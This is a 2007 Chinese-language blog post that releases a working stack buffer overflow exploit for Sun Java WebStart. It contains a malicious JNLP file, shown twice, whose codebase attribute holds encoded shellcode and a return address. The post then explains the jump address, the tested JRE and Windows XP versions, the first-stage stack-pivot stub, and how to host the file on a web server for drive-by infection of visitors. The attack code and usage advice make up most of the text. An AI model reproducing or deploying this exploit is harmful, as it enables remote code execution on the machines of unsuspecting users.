[Exploit]Sun Java WebStart JNLP Stack Buffer Overflow Exploit 1
by axis
2007-07-11
http://www.ph4nt0m.org
最终我还是决定把这个鸡肋的exp放出来。
废话不多说了,exp如下:
<?xml version="1.0" encoding="utf-8"?>
<jnlp spec="1.0+" codebase="http://TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIil3ZJKpMKXyiKOYo9o1plKPlWT14LKw5gLLK3LUU48UQjOlKbodXLKSoupuQZKrilK4tNkeQZN01yPlYnLMTO0QdwwiQxJFmVaxBXkZTWKpTvDWXqeYuLKaO6DUQzKpflKTLpKLKQOWlC1ZKgsfLLKLIbLwT5LSQjcdqkksTLKw3vPNkSpVlLK2PuLnMLKW0c8aNU8LNPNVnJLpPyozvPf2srF3XWCFRaxQgps7B1OPTkOzpphJkZMKLwKPPkOKfQOMYm556mQZMtHuRpURJURYoxPQxkiuYyelmqGYoxVf3Rs3cf3CcG3BspCscKOjpav3X5TorqvpSoyxaLUU8nDTZ2PO7v7KOHVazdPPQaE9oHPqxOTnMdn9y0WYoZvPSSeyoN058KUg9K6QYV7KOzvV0RtbtRuYoJpLSU8kWcIO6QisgYokfpU9ohPpfQzRDbFPh53PmmYKU1zf0pYq9xLOyHgRJQTniYrtqYPxsNJKN72TmynpBvLZ3LMpzVXNKNKLkcXsBInlsUFKOBUBdkO8VCk2w2rpQv1casZuQv1CaPUf1YoZpE8LmXY7uxNPSyoJv0jkOYo5gioJpLKRwYlk3KtQt9oXVQBkON0sXxojnYpe0rsKON6KOZpAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALLLLYIIIIIIIIIIIIIIIQZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJINkJtMQZLkK34UPuPkOJDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&0v" >
<information>
<title>Test Swing Java Web Start</title>
<vendor>Pan Daoen</vendor>
<description>Swing Application</description>
<offline-allowed/>
</information>
<resources>
<j2se version="1.5+"/>
<jar href=""/>
</resources>
<application-desc/>
</jnlp>
<jnlp spec="1.0+" codebase="http://TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIil3ZJKpMKXyiKOYo9o1plKPlWT14LKw5gLLK3LUU48UQjOlKbodXLKSoupuQZKrilK4tNkeQZN01yPlYnLMTO0QdwwiQxJFmVaxBXkZTWKpTvDWXqeYuLKaO6DUQzKpflKTLpKLKQOWlC1ZKgsfLLKLIbLwT5LSQjcdqkksTLKw3vPNkSpVlLK2PuLnMLKW0c8aNU8LNPNVnJLpPyozvPf2srF3XWCFRaxQgps7B1OPTkOzpphJkZMKLwKPPkOKfQOMYm556mQZMtHuRpURJURYoxPQxkiuYyelmqGYoxVf3Rs3cf3CcG3BspCscKOjpav3X5TorqvpSoyxaLUU8nDTZ2PO7v7KOHVazdPPQaE9oHPqxOTnMdn9y0WYoZvPSSeyoN058KUg9K6QYV7KOzvV0RtbtRuYoJpLSU8kWcIO6QisgYokfpU9ohPpfQzRDbFPh53PmmYKU1zf0pYq9xLOyHgRJQTniYrtqYPxsNJKN72TmynpBvLZ3LMpzVXNKNKLkcXsBInlsUFKOBUBdkO8VCk2w2rpQv1casZuQv1CaPUf1YoZpE8LmXY7uxNPSyoJv0jkOYo5gioJpLKRwYlk3KtQt9oXVQBkON0sXxojnYpe0rsKON6KOZpAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALLLLYIIIIIIIIIIIIIIIQZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJINkJtMQZLkK34UPuPkOJDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&0v" >
<information>
<title>Test Swing Java Web Start</title>
<vendor>Pan Daoen</vendor>
<description>Swing Application</description>
<offline-allowed/>
</information>
<resources>
<j2se version="1.5+"/>
<jar href=""/>
</resources>
<application-desc/>
</jnlp>
其中覆盖字符串的最后 &0v 是16进制的 0x76302619, 这个地址是 pop/pop/pop/retn
因为字符范围要是在 0x01--0x7f ,所以找这个opcode很费了我点心思。
我测试的版本是 jre 1.5.0_11 , 简体中文 xp sp2
在我的环境中, 在[esp+10h]处有一个指向payload中一段的拷贝,所以我先跳过去,然后执行第一段shellcode
mov edx, esp
sub esp, 4fbh
jmp esp
因为edx也指向栈内,所以精确计算后,就把esp指向了第二段shellcode,然后就可以执行真正的shellcode了。
不过这个方法好像只对我的版本有效,luoluo的jre是1.6的,栈内就少了很多指向shellcode的指针了。
还可以考虑覆盖seh,可能会通用点,没继续跟了,有兴趣的不妨自己改改。
这个漏洞是属于文件型的,可以ie下载后执行。如果配置了webserver,应该可以起到挂马的作用,而且不挂ie。 但是这个漏洞是和当前登录的用户名长度有关的,所以可能要同时放置许多不同长度payload的文件到某目录下,虽然这样可能会造成出错,但是ie是不受影响的。
最后在调试shellcode的时候一定要多加注意。
没有评论:
发表评论